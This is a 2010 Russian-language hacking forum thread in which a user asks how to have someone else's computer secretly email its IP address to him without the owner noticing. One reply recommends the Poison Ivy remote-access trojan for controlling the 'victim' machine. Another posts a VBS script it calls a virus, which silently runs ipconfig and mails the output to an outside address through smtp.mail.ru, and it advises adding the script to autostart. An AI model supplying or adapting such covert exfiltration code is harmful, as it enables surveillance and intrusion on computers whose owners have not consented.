Отсылать IP при подключении к инету
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Отсылать IP при подключении к инету - 2010-09-13 19:09:28.046666
|
|
|
DonKenny1
Сообщений: 77
Оценки: 0
Присоединился: 2010-08-22 15:22:40.673333
|
Подскажите пожалуйста, как можно сделать, что бы при смене IP (подключению к инету) этот IP присылался мне на e-mail? Разумеется, хозяин компьютера не должен не чего видеть =) Заранее спасибо, если такая тема есть то ткните пальцем на неё.
|
|
|
|
|
RE: Отсылать IP при подключении к инету - 2010-09-14 21:40:27.966666
|
|
|
Xaker555
Сообщений: 180
Оценки: 0
Присоединился: 2009-10-30 11:35:12.083333
|
Я думаю тебе поможет такой вирус под названием poison ivy он сконектится тебе сам и ты сможеш управлять компом жертвы)))
___________________________________________
+ - надеюсь помог.
|
|
|
|
|
RE: Отсылать IP при подключении к инету - 2010-09-16 19:22:36.223333
|
|
|
ser50020407
Сообщений: 23
Оценки: 0
Присоединился: 2010-06-11 17:24:42.453333
|
Вот исходник VBS вируса, сам давно гдето нашёл, на каком сайте и не помню…А тебе токо этот вирус в автозагрузку прописать осталось…
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd.exe /c ipconfig > C:\ip.txt", 0, false
WScript.Sleep (5000)
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","Емайл на каторый будет отправляться","емайл с каторого будет отправляться","IP
ЛАМЕРА","hacked by hack-win32")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="логин от почты"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="пароль от почты"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp."
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ip.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
|
|
|
|
|
|
